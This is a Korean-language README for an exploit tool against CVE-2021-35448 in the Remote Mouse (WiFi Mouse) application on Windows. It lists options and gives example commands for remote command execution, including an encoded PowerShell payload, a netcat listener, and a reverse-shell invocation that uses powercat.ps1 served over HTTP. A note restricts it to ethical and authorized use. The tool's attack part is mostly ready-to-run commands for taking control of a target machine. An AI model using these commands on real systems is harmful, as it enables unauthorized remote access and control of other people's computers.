CVE-2021-35448 - 원격 마우스 익스플로잇

설명

이 익스플로잇은 Remote Mouse 애플리케이션(이전 명칭 WiFi Mouse)의 CVE-2021-35448 취약점을 대상으로 합니다.

POC

CVE-2021-35448.webm

사용법

기본 구문

python3 CVE-2021-35448.py -t <TARGET_IP> [OPTIONS]

옵션

• -t, --target: 대상 IP 주소 (필수)
• -p, --payload: 실행할 사용자 정의 명령어
• -r, --reverse: IP:PORT 형식의 리버스 셸
• -l, --http: IP:PORT 형식의 로컬 HTTP 서버 (-r과 함께 필수)

사용 예제

1. 사용자 정의 명령어

python3 CVE-2021-35448.py -t 192.168.1.100 -p "Powershell -e JAB...=="

2. 리버스 셸 (권장)

# Terminal 1 - Listener
nc -nlvp 4444

# Terminal 2 - Exploit
python3 CVE-2021-35448.py -t $REMOTESERVER_IP -r $REVSHELL_IP:$PORT -l 0.0.0.0:$PORT

사전 요구 사항

필수 파일

• CVE-2021-35448.py: 주요 익스플로잇 스크립트
• powercat.ps1: 리버스 셸용 PowerShell 스크립트

대상 시스템

• Remote Mouse가 설치되어 실행 중인 상태
• Windows 시스템 (Windows 10에서 테스트됨)

경고

⚠️ 윤리적 사용만 허용 ⚠️

이 도구는 교육 목적 및 승인된 침투 테스트 용도로만 사용해야 합니다. 이 익스플로잇의 무단 사용은 불법이며 법적 처벌을 받을 수 있습니다.

참고 자료

• WiFi Mouse 1.7.8.5 - 원격 코드 실행
• CVE-2021-35448 상세 정보

작성자

교육 및 윤리적 침투 테스트 목적으로 개발되었습니다.

마지막 업데이트: 2025년